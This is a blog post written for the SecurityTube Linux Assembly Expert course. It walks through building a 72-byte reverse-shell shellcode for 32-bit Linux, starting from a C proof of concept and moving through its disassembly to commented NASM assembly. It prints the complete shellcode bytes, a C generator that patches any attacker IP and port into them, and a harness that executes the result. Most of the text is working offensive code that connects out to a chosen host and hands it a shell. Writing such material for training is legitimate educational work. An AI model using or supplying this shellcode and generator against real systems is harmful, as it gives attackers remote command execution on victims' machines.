SLAE 2: Reverse shell (72 Bytes)

SLAE_logo2

Introduction

The aim of this assignment is to develop a working reverse shell for the 32bit Linux platform.

I will apply the same approach as for the bind shell:

  1. Identify suitable proof of concept code
  2. Reduce the POC to the essence of the required task
  3. Compile, test and disassemble the POC
  4. Re-write the POC in assembly
  5. Optimize shellcode
  6. Write shellcode wrapper that produces shellcode for any given bind port
  7. FINAL PRODUCT

1. Identify suitable proof of concept code

Whilst there are numerous reverse shellcodes available on shell-storm.com or exploit.db, I decided to make it a worthwhile exercise to start from scratch to learn the reasoning behind some of the decisions taken in shellcode development.

As basis for my shellcode I picked a classic: conback.c from page 146 of the book “Programming Linux Hacker Tools Uncovered:…” by Ivan Sklyarov:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h> 


int main(int argc, char *argv[])
{
  int sd;
  struct sockaddr_in servaddr;

  if (argc != 3) {
    printf("Usage: %s <ip> <port>\n", argv[0]);
    return -1;
  }
  
  daemon(1, 0);
  
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = inet_addr(argv[1]);
  servaddr.sin_port = htons(atoi(argv[2]));

  sd = socket(PF_INET, SOCK_STREAM, 0);
  if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
    perror("connect() failed");

  dup2(sd, 0);
  dup2(sd, 1);
  dup2(sd, 2);
  execl("/bin/sh", "sh", 0);
}

The code works as advertised – It connects back to the IP address and port provided as arguments:

SLAE2_01

2. Reduce the POC to the essence of the required task

Anticipating the complexity of the dis-assembly, let’s reduce the code by cutting out the non-essential bits and, while we’re at it, let’s resolve the numeric constants to provide more clarity (as defined in sys/socket.h and netinet/in.h):

int main(void)
{
  int sd;
  char *servaddr =  "\x02\x00"             //  Address family (AF_INET)
                    "\x7A\x69"             //  port 31337
                    "\x7F\x00\x00\x01"     //  127.0.0.1
                    "\x00\x00\x00\x00"
                    "\x00\x00\x00\x00";
  sd = socket(2, 1, 0);
  connect(sd, servaddr, 16);

  dup2(sd, 0);
  dup2(sd, 1);
  dup2(sd, 2);
  execve("/bin/sh", 0, 0);
}

Looks much better.

3. Compile, test and disassemble the POC

It still works:

SLAE2_02

 

Now, let’s look at the disassembly:

root@kali:~/git/slae-assignment2# objdump -d fin_conback -M intel

fin_conback:     file format elf32-i386


Disassembly of section .init:

08048328 <_init>:
 8048328:    55                       push   ebp
 8048329:    89 e5                    mov    ebp,esp
 804832b:    53                       push   ebx
 804832c:    83 ec 04                 sub    esp,0x4
 804832f:    e8 00 00 00 00           call   8048334 <_init+0xc>
 8048334:    5b                       pop    ebx
 8048335:    81 c3 54 14 00 00        add    ebx,0x1454
 804833b:    8b 93 fc ff ff ff        mov    edx,DWORD PTR [ebx-0x4]
 8048341:    85 d2                    test   edx,edx
 8048343:    74 05                    je     804834a <_init+0x22>
 8048345:    e8 26 00 00 00           call   8048370 <__gmon_start__@plt>
 804834a:    58                       pop    eax
 804834b:    5b                       pop    ebx
 804834c:    c9                       leave  
 804834d:    c3                       ret    

Disassembly of section .plt:

08048350 <dup2@plt-0x10>:
 8048350:    ff 35 8c 97 04 08        push   DWORD PTR ds:0x804978c
 8048356:    ff 25 90 97 04 08        jmp    DWORD PTR ds:0x8049790
 804835c:    00 00                    add    BYTE PTR [eax],al
    ...

08048360 <dup2@plt>:
 8048360:    ff 25 94 97 04 08        jmp    DWORD PTR ds:0x8049794
 8048366:    68 00 00 00 00           push   0x0
 804836b:    e9 e0 ff ff ff           jmp    8048350 <_init+0x28>

08048370 <__gmon_start__@plt>:
 8048370:    ff 25 98 97 04 08        jmp    DWORD PTR ds:0x8049798
 8048376:    68 08 00 00 00           push   0x8
 804837b:    e9 d0 ff ff ff           jmp    8048350 <_init+0x28>

08048380 <__libc_start_main@plt>:
 8048380:    ff 25 9c 97 04 08        jmp    DWORD PTR ds:0x804979c
 8048386:    68 10 00 00 00           push   0x10
 804838b:    e9 c0 ff ff ff           jmp    8048350 <_init+0x28>

08048390 <execve@plt>:
 8048390:    ff 25 a0 97 04 08        jmp    DWORD PTR ds:0x80497a0
 8048396:    68 18 00 00 00           push   0x18
 804839b:    e9 b0 ff ff ff           jmp    8048350 <_init+0x28>

080483a0 <socket@plt>:
 80483a0:    ff 25 a4 97 04 08        jmp    DWORD PTR ds:0x80497a4
 80483a6:    68 20 00 00 00           push   0x20
 80483ab:    e9 a0 ff ff ff           jmp    8048350 <_init+0x28>

080483b0 <connect@plt>:
 80483b0:    ff 25 a8 97 04 08        jmp    DWORD PTR ds:0x80497a8
 80483b6:    68 28 00 00 00           push   0x28
 80483bb:    e9 90 ff ff ff           jmp    8048350 <_init+0x28>

Disassembly of section .text:

080483c0 <_start>:
 80483c0:    31 ed                    xor    ebp,ebp
 80483c2:    5e                       pop    esi
 80483c3:    89 e1                    mov    ecx,esp
 80483c5:    83 e4 f0                 and    esp,0xfffffff0
 80483c8:    50                       push   eax
 80483c9:    54                       push   esp
 80483ca:    52                       push   edx
 80483cb:    68 60 85 04 08           push   0x8048560
 80483d0:    68 70 85 04 08           push   0x8048570
 80483d5:    51                       push   ecx
 80483d6:    56                       push   esi
 80483d7:    68 ac 84 04 08           push   0x80484ac
 80483dc:    e8 9f ff ff ff           call   8048380 <__libc_start_main@plt>
 80483e1:    f4                       hlt    
 80483e2:    90                       nop
 80483e3:    90                       nop
 80483e4:    90                       nop
 80483e5:    90                       nop
 80483e6:    90                       nop
 80483e7:    90                       nop
 80483e8:    90                       nop
 80483e9:    90                       nop
 80483ea:    90                       nop
 80483eb:    90                       nop
 80483ec:    90                       nop
 80483ed:    90                       nop
 80483ee:    90                       nop
 80483ef:    90                       nop

080483f0 <deregister_tm_clones>:
 80483f0:    b8 b7 97 04 08           mov    eax,0x80497b7
 80483f5:    2d b4 97 04 08           sub    eax,0x80497b4
 80483fa:    83 f8 06                 cmp    eax,0x6
 80483fd:    77 02                    ja     8048401 <deregister_tm_clones+0x11>
 80483ff:    f3 c3                    repz ret 
 8048401:    b8 00 00 00 00           mov    eax,0x0
 8048406:    85 c0                    test   eax,eax
 8048408:    74 f5                    je     80483ff <deregister_tm_clones+0xf>
 804840a:    55                       push   ebp
 804840b:    89 e5                    mov    ebp,esp
 804840d:    83 ec 18                 sub    esp,0x18
 8048410:    c7 04 24 b4 97 04 08     mov    DWORD PTR [esp],0x80497b4
 8048417:    ff d0                    call   eax
 8048419:    c9                       leave  
 804841a:    c3                       ret    
 804841b:    90                       nop
 804841c:    8d 74 26 00              lea    esi,[esi+eiz*1+0x0]

08048420 <register_tm_clones>:
 8048420:    b8 b4 97 04 08           mov    eax,0x80497b4
 8048425:    2d b4 97 04 08           sub    eax,0x80497b4
 804842a:    c1 f8 02                 sar    eax,0x2
 804842d:    89 c2                    mov    edx,eax
 804842f:    c1 ea 1f                 shr    edx,0x1f
 8048432:    01 d0                    add    eax,edx
 8048434:    d1 f8                    sar    eax,1
 8048436:    75 02                    jne    804843a <register_tm_clones+0x1a>
 8048438:    f3 c3                    repz ret 
 804843a:    ba 00 00 00 00           mov    edx,0x0
 804843f:    85 d2                    test   edx,edx
 8048441:    74 f5                    je     8048438 <register_tm_clones+0x18>
 8048443:    55                       push   ebp
 8048444:    89 e5                    mov    ebp,esp
 8048446:    83 ec 18                 sub    esp,0x18
 8048449:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 804844d:    c7 04 24 b4 97 04 08     mov    DWORD PTR [esp],0x80497b4
 8048454:    ff d2                    call   edx
 8048456:    c9                       leave  
 8048457:    c3                       ret    
 8048458:    90                       nop
 8048459:    8d b4 26 00 00 00 00     lea    esi,[esi+eiz*1+0x0]

08048460 <__do_global_dtors_aux>:
 8048460:    80 3d b4 97 04 08 00     cmp    BYTE PTR ds:0x80497b4,0x0
 8048467:    75 13                    jne    804847c <__do_global_dtors_aux+0x1c>
 8048469:    55                       push   ebp
 804846a:    89 e5                    mov    ebp,esp
 804846c:    83 ec 08                 sub    esp,0x8
 804846f:    e8 7c ff ff ff           call   80483f0 <deregister_tm_clones>
 8048474:    c6 05 b4 97 04 08 01     mov    BYTE PTR ds:0x80497b4,0x1
 804847b:    c9                       leave  
 804847c:    f3 c3                    repz ret 
 804847e:    66 90                    xchg   ax,ax

08048480 <frame_dummy>:
 8048480:    a1 90 96 04 08           mov    eax,ds:0x8049690
 8048485:    85 c0                    test   eax,eax
 8048487:    74 1e                    je     80484a7 <frame_dummy+0x27>
 8048489:    b8 00 00 00 00           mov    eax,0x0
 804848e:    85 c0                    test   eax,eax
 8048490:    74 15                    je     80484a7 <frame_dummy+0x27>
 8048492:    55                       push   ebp
 8048493:    89 e5                    mov    ebp,esp
 8048495:    83 ec 18                 sub    esp,0x18
 8048498:    c7 04 24 90 96 04 08     mov    DWORD PTR [esp],0x8049690
 804849f:    ff d0                    call   eax
 80484a1:    c9                       leave  
 80484a2:    e9 79 ff ff ff           jmp    8048420 <register_tm_clones>
 80484a7:    e9 74 ff ff ff           jmp    8048420 <register_tm_clones>

080484ac <main>:
 80484ac:    55                       push   ebp
 80484ad:    89 e5                    mov    ebp,esp
 80484af:    83 e4 f0                 and    esp,0xfffffff0
 80484b2:    83 ec 20                 sub    esp,0x20
 80484b5:    c7 44 24 1c f0 85 04     mov    DWORD PTR [esp+0x1c],0x80485f0
 80484bc:    08 
 80484bd:    c7 44 24 08 00 00 00     mov    DWORD PTR [esp+0x8],0x0
 80484c4:    00 
 80484c5:    c7 44 24 04 01 00 00     mov    DWORD PTR [esp+0x4],0x1
 80484cc:    00 
 80484cd:    c7 04 24 02 00 00 00     mov    DWORD PTR [esp],0x2
 80484d4:    e8 c7 fe ff ff           call   80483a0 <socket@plt>
 80484d9:    89 44 24 18              mov    DWORD PTR [esp+0x18],eax
 80484dd:    c7 44 24 08 10 00 00     mov    DWORD PTR [esp+0x8],0x10
 80484e4:    00 
 80484e5:    8b 44 24 1c              mov    eax,DWORD PTR [esp+0x1c]
 80484e9:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 80484ed:    8b 44 24 18              mov    eax,DWORD PTR [esp+0x18]
 80484f1:    89 04 24                 mov    DWORD PTR [esp],eax
 80484f4:    e8 b7 fe ff ff           call   80483b0 <connect@plt>
 80484f9:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048500:    00 
 8048501:    8b 44 24 18              mov    eax,DWORD PTR [esp+0x18]
 8048505:    89 04 24                 mov    DWORD PTR [esp],eax
 8048508:    e8 53 fe ff ff           call   8048360 <dup2@plt>
 804850d:    c7 44 24 04 01 00 00     mov    DWORD PTR [esp+0x4],0x1
 8048514:    00 
 8048515:    8b 44 24 18              mov    eax,DWORD PTR [esp+0x18]
 8048519:    89 04 24                 mov    DWORD PTR [esp],eax
 804851c:    e8 3f fe ff ff           call   8048360 <dup2@plt>
 8048521:    c7 44 24 04 02 00 00     mov    DWORD PTR [esp+0x4],0x2
 8048528:    00 
 8048529:    8b 44 24 18              mov    eax,DWORD PTR [esp+0x18]
 804852d:    89 04 24                 mov    DWORD PTR [esp],eax
 8048530:    e8 2b fe ff ff           call   8048360 <dup2@plt>
 8048535:    c7 44 24 08 00 00 00     mov    DWORD PTR [esp+0x8],0x0
 804853c:    00 
 804853d:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048544:    00 
 8048545:    c7 04 24 01 86 04 08     mov    DWORD PTR [esp],0x8048601
 804854c:    e8 3f fe ff ff           call   8048390 <execve@plt>
 8048551:    c9                       leave  
 8048552:    c3                       ret    
 8048553:    90                       nop
 8048554:    90                       nop
 8048555:    90                       nop
 8048556:    90                       nop
 8048557:    90                       nop
 8048558:    90                       nop
 8048559:    90                       nop
 804855a:    90                       nop
 804855b:    90                       nop
 804855c:    90                       nop
 804855d:    90                       nop
 804855e:    90                       nop
 804855f:    90                       nop

08048560 <__libc_csu_fini>:
 8048560:    55                       push   ebp
 8048561:    89 e5                    mov    ebp,esp
 8048563:    5d                       pop    ebp
 8048564:    c3                       ret    
 8048565:    8d 74 26 00              lea    esi,[esi+eiz*1+0x0]
 8048569:    8d bc 27 00 00 00 00     lea    edi,[edi+eiz*1+0x0]

08048570 <__libc_csu_init>:
 8048570:    55                       push   ebp
 8048571:    89 e5                    mov    ebp,esp
 8048573:    57                       push   edi
 8048574:    56                       push   esi
 8048575:    53                       push   ebx
 8048576:    e8 4f 00 00 00           call   80485ca <__i686.get_pc_thunk.bx>
 804857b:    81 c3 0d 12 00 00        add    ebx,0x120d
 8048581:    83 ec 1c                 sub    esp,0x1c
 8048584:    e8 9f fd ff ff           call   8048328 <_init>
 8048589:    8d bb 04 ff ff ff        lea    edi,[ebx-0xfc]
 804858f:    8d 83 00 ff ff ff        lea    eax,[ebx-0x100]
 8048595:    29 c7                    sub    edi,eax
 8048597:    c1 ff 02                 sar    edi,0x2
 804859a:    85 ff                    test   edi,edi
 804859c:    74 24                    je     80485c2 <__libc_csu_init+0x52>
 804859e:    31 f6                    xor    esi,esi
 80485a0:    8b 45 10                 mov    eax,DWORD PTR [ebp+0x10]
 80485a3:    89 44 24 08              mov    DWORD PTR [esp+0x8],eax
 80485a7:    8b 45 0c                 mov    eax,DWORD PTR [ebp+0xc]
 80485aa:    89 44 24 04              mov    DWORD PTR [esp+0x4],eax
 80485ae:    8b 45 08                 mov    eax,DWORD PTR [ebp+0x8]
 80485b1:    89 04 24                 mov    DWORD PTR [esp],eax
 80485b4:    ff 94 b3 00 ff ff ff     call   DWORD PTR [ebx+esi*4-0x100]
 80485bb:    83 c6 01                 add    esi,0x1
 80485be:    39 fe                    cmp    esi,edi
 80485c0:    72 de                    jb     80485a0 <__libc_csu_init+0x30>
 80485c2:    83 c4 1c                 add    esp,0x1c
 80485c5:    5b                       pop    ebx
 80485c6:    5e                       pop    esi
 80485c7:    5f                       pop    edi
 80485c8:    5d                       pop    ebp
 80485c9:    c3                       ret    

080485ca <__i686.get_pc_thunk.bx>:
 80485ca:    8b 1c 24                 mov    ebx,DWORD PTR [esp]
 80485cd:    c3                       ret    
 80485ce:    90                       nop
 80485cf:    90                       nop

Disassembly of section .fini:

080485d0 <_fini>:
 80485d0:    55                       push   ebp
 80485d1:    89 e5                    mov    ebp,esp
 80485d3:    53                       push   ebx
 80485d4:    83 ec 04                 sub    esp,0x4
 80485d7:    e8 00 00 00 00           call   80485dc <_fini+0xc>
 80485dc:    5b                       pop    ebx
 80485dd:    81 c3 ac 11 00 00        add    ebx,0x11ac
 80485e3:    59                       pop    ecx
 80485e4:    5b                       pop    ebx
 80485e5:    c9                       leave  
 80485e6:    c3                       ret

 4. Re-write the POC in assembly

The majority of the POC consists of dynamic library calls, which makes it unsuitable for our purpose (static linking would have resulted in thousands of lines of code). Instead of re-using the POC code I consider a re-write in assembly based on that code much more efficient. Especially given that this program is a simplified form of the bind shell we created in assignment #1.

Let’s list the individual components of this program and write them in assembly:

  1. Create a socket (line 9)
  2. Populate a sockaddr_in structure (lines 8-8) and connect through the socket (line 10)
  3. Move STDIN, STDOUT & STDERR to our socket (lines 12-14)
  4. Execute /bin/sh (line 15)

To write each of these system calls, I used the following resources:

  • Linux man pages for each function describes the function and calling conventions
  • The system call table identifies the relevant system call number to use (nicer displayed than in unistd_32.h of the local system)
  • System call reference defines that the call number is placed in eax and the parameters are placed in ebx, ecx, edx, esx & edi in order

Let’s go ahead and tackle each portion of the program:

i. Create a socket

Syscall reference: Socket syscalls make use of only one syscall number: SYS_socketcall (0x66) which goes in %eax. The socket functions are identified via a subfunction numbers located in /usr/include/linux/net.h and are stored in %ebx. A pointer to the syscall args is stored in %ecx. Socket syscalls are also executed with int $0x80.

man 2 socketcall explains system call invocation: int socketcall(int call, unsigned long *args);

call determines which socket function to invoke (sub-function number) and is listed in net.h as

#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */

man 2 socket lists the arguments pointed to by *args: int socket(int domain, int type, int protocol);

Lets put it together:

  • We push the arguments onto the stack in reverse order
  • We store 0x1 as sub-function number in bl (instead of ebx to avoid nulls)
  • We store the address of the top of the stack (were the arguments start) in ecx
  • We store the system call number for 102 in al (for SYS_socketcall)
  • We execute int 0x80
  • We copy the return value in eax to edi. That is the socket descriptor we’ll need later
    ; --- socket ---
    cdq                ;clear edx

    ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=0) parameters
    push edx            ; 0 means protocol determined by server
    inc edx
    push edx
    mov ebx, edx        ; store socket call sub function # 1 in bl    
    inc edx
    push edx
    
    mov ecx, esp        ; store pointer to arguments in ecx
  
    ; issue system call
    push 0x66
    pop eax            ; get sys_socketcall system call number into al
    mov edi, eax       ; copy away for later re-use
    int 0x80           ; execute system call
    xchg edi, eax      ; socket fd in edi, sys_socketcall system call number back in al

That’s all. The socket is ready for use.

ii. Connect via our socket

Next we connect via the newly created socket to an address and port using the same system call as above but with sub-function number “3”.

man 2 connect: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

We basically repeat the first call with different arguments:

  • We push the arguments onto the stack in reverse order
  • We store 0x3 as sub-function number in bl
  • We store the address of the top of the stack (were the arguments start) in ecx
  • The system call number 102 is already in al (for SYS_socketcall) from earlier
  • We execute int 0x80
    ; --- connect ---

    ; push connect() parameters
    push 0x0100007F     ; 127.0.0.1
    push word 0x697A    ; port 31337
    push word 0x2       ; AF_INET

    mov ecx, esp        ; store pointer to the structure in ecx

    push 0x10             ; sizeof(struct sockaddr_in)
    push ecx            ; &serv_addr
    push edi            ; our socket descriptor

    mov ecx, esp        ; store pointer to arguments in ecx
    mov bl, 0x3         ; sub call function number 3 for connect
    ; issue system call
    int 0x80            ; execute system call
    mov al, 0x66        ; store SYS_socketcall system call number in al
    int 0x80            ; execute system call

Done.

iii. Move STDIN, STDOUT & STDERR to our socket

Syscall reference: dup2 has a system call number 0x3F

man 2 dup2: int dup2(int oldfd, int newfd);

This time we already have the sockfd on top of the stack, we only pop it into ebx, place the old fd in ecx and execute syscall. We’ll do it with a loop to be more efficient:

    ; Move STDIN, STDOUT & STDERR to our new socket
    pop ebx        ; sockfd is still on the stack
    xchg ecx, edx    ; set loop counter to 2
    loop:
        mov al, 0x3f    ; store sys_dup2 system call number in al
        int 0x80    ; execute system call
        dec ecx 
        jns loop

Awesome.

vi. Execute /bin/sh via execve

Syscall reference: execve has a system call number 0xB

man 2 execve: int execve(const char *filename, char *const argv[],char *const envp[])

We are going to push a null terminated /bin/sh onto the stack and esp becomes both our pointer to the file name as well as our pointer to argv. We can save some more space by placing a NULL in ecx and edx. This trick works in Linux.

Once done we can put 11 in al and execute int 0x80.

   ; execute /bin/sh
    ; execve("/bin/sh", NULL , NULL);
    cdq                 ; clear edx
    mov ecx, edx        ; clear ecx  
    push edx            ; push NULL termination
    push 0x68732f2f     ; //sh (we can add a slash to make it four non NULL bytes)
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; store address of /bin/sh
    mov al, 0xb         ; store execve system call number in al  
    int 0x80            ; execute system call

Thats it.
Below is the 72 byte shellcode for a reverse shell connecting to 127.0.0.1 on port 31337.

; Filename: reverseshell.nasm
; Author:   Re4son re4son [at] whitedome.com.au
; Website:  http://www.whitedome.com.au/re4son
;
; Purpose: Reverse shell connecting back to 127.0.0.1:31337
;          72 Bytes


global _start           

section .text

_start:

    ; --- socket ---
    cdq            ;clear edx

    ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO=0) parameters
    push edx        ; 0 means protocol determined by server
    inc edx
    push edx
    mov ebx, edx    ; store socket call sub function # 1 in bl    
    inc edx
    push edx
    
    mov ecx, esp        ; store pointer to arguments in ecx
  
    ; issue system call
    push 0x66
    pop eax        ; get sys_socketcall system call number into al
    mov edi, eax        ; copy away for later re-use
    int 0x80            ; execute system call
    xchg edi, eax       ; socket fd in edi, sys_socketcall system call number back in al

    ; --- connect ---

    ; push connect() parameters
    push 0x0100007F     ; 127.0.0.1
    push word 0x697A    ; port 31337
    push word 0x2       ; AF_INET

    mov ecx, esp        ; store pointer to the structure in ecx

    push 0x10             ; sizeof(struct sockaddr_in)
    push ecx            ; &serv_addr
    push edi            ; our socket descriptor

    mov ecx, esp        ; store pointer to arguments in ecx
    mov bl, 0x3            ; sub call function number 3 for connect
    ; issue system call
    int 0x80            ; execute system call


    ; Move STDIN, STDOUT & STDERR to our new socket
    pop ebx        ; sockfd is still on the stack
    xchg ecx, edx    ; set loop counter to 2
    loop:
        mov al, 0x3f    ; store sys_dup2 system call number in al
        int 0x80    ; execute system call
        dec ecx 
        jns loop

    ; execute /bin/sh
    ; execve("/bin/sh", NULL , NULL);
    cdq                 ; clear edx
    mov ecx, edx        ; clear ecx  
    push edx            ; push NULL termination
    push 0x68732f2f     ; //sh (we can add a slash to make it four non NULL bytes)
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; store address of /bin/sh
    mov al, 0xb         ; store execve system call number in al  
    int 0x80            ; execute system call

5. Optimize shellcode

We optimized it along the way using the experience gained from assignment 1.Nothing more to do.

Lets assemble it and get the shellcode via objdump:

root@kali:~/git/slae-assignment2# ./shell-compile.sh reverseshell

[+] Assembling reverseshell.nasm with "nasm -f elf32 -o reverseshell.o reverseshell.nasm" 
[+] Linking reverseshell.o with "ld -N -o reverseshell reverseshell.o"
[+] Generating shellcode via objdump and sed ...
[+] 72 bytes shellcode generated:

"\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\x7f\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

Voila.

6. Wrapper

The IP address and port are currently hard-coded in the shellcode.

Why don’t we write a c program that substitutes both in the shell code with given command line arguments, i.e. the command

make-revshell –LHOST=192.168.1.12 –LPORT=4444

will create a shellcode that connects back to 192.168.1.12 port 4444.

Let’s go ahead and write a c program to substitute that string with any given port number:

/******************************************************************
*    make-revshell -- Program to generate reverse shellcode
* 
*    Author   : Re4son re4son [ at ] whitedome.com.au
*    Purpose  : generates reverse shell code with
*               IP address and port given as arguments
*    Usage    : make-revshell --LHOST=<IP address> --LPORT=<port>
******************************************************************/


#include <stdio.h>
#include <string.h>
#include <getopt.h> 

int main( int argc, char *argv[] )
{
    unsigned int port, ip1,  ip2, ip3, ip4;
    unsigned char low,high;
    char cmdArg[6], *p;
    char c;
    int i;
    int option_index = 0;


    static const struct option longOpts[] = {
        {"LHOST", required_argument, NULL, 'i'},
        {"lhost", required_argument, NULL, 'i'},
        {"LPORT", required_argument, NULL, 'p'},
        {"lport", required_argument, NULL, 'p'},
        {NULL, 0, NULL, 0}
    };

    port = ip1 =  ip2 = ip3 = ip4 =0;

    while ((c = getopt_long( argc, argv, ":i:p:", longOpts, &option_index )) != -1 ) {
        switch (c) {
        case 'i':
        p = strtok (optarg,".");
        if (p)
            ip1 = atoi(p);
        else {
        ip1 =  ip2 = ip3 = ip4 =0;
        break;
        }
        p = strtok (NULL,".");
        if (p)
            ip2 = atoi(p);
        else {
        ip1 =  ip2 = ip3 = ip4 =0;
        break;
        }
        p = strtok (NULL,".");
        if (p)
            ip3 = atoi(p);
        else {
        ip1 =  ip2 = ip3 = ip4 =0;
        break;
        }
        p = strtok (NULL,".");
        if (p)
            ip4 = atoi(p);
        else {
        ip1 =  ip2 = ip3 = ip4 =0;
        break;
        }
            break;

        case 'p':
            strcpy(cmdArg, optarg);
            port = atoi(cmdArg);
            high = port >> 8;
            low = (port << 8) >> 8;
        break;
    default:
        printf( "\n\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n"
                "\t   or: %s -i <IP address> -p <port>\n\n", argv[0], argv[0] );
        return -1;
        }
    }

    if (ip1 == 0 && ip2 == 0 && ip3 == 0 && ip4 == 0){
        printf( "\n\tInvalid IP address\n"
                "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] );
        return -1;
    } else if (ip1 > 254 || ip2 > 254 || ip3 > 254 || ip4 > 254){
        printf( "\n\tInvalid IP address\n"
                "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] );
        return -1;
    } else if (port < 1 || port > 65535){
        printf( "\n\tInvalid port number\n"
                "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] );
        return -1;    
    } else {
    if (high == 0 || low == 0 || ip1 ==0 || ip2 == 0 || ip3 == 0 || ip4 == 0 ){
        printf(  "\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
                 "!!  CAUTION:  NULL characters detected  !!\n"
                 "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
    }   

        printf(  "\nShellcode length             : 72 bytes\n\n"
             "IP Address (%03d.%03d.%03d.%03d) : \\x%02x\\x%02x\\x%02x\\x%02x\n"
             "Bind port (%05d)            : \\x%02x\\x%02x\n\n"


             "\"\\x99\\x52\\x42\\x52\\x89\\xd3\\x42\\x52\\x89\\xe1\"\n"
             "\"\\x6a\\x66\\x58\\x89\\xc7\\xcd\\x80\\x97\\x68\\x%02x\"\n"
             "\"\\x%02x\\x%02x\\x%02x\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\"\n"
             "\"\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xb3\\x03\"\n"
             "\"\\xcd\\x80\\x5b\\x87\\xca\\xb0\\x3f\\xcd\\x80\\x49\"\n"
             "\"\\x79\\xf9\\x99\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\"\n"
             "\"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\"\n"
             "\"\\xcd\\x80\";\n\n", \
             ip1, ip2, ip3, ip4, ip1, ip2, ip3, ip4, \
             port, high, low, \
             ip1, ip2, ip3, ip4, high, low);

        return 0;
    }
}

Finished.
Let’s try it out. Run ./make-revshell –LHOST=192.168.12.197 –LPORT=31341,copy & paste the shellcode into shellcode.c and run ./shellcode

/* Compilation: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1"
"\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\xc0"
"\xa8\x0c\xc5\x66\x68\x7a\x6d\x66\x6a\x02"
"\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03"
"\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49"
"\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b"
"\xcd\x80";


main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

SLAE2_03

Done.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

Leave a Reply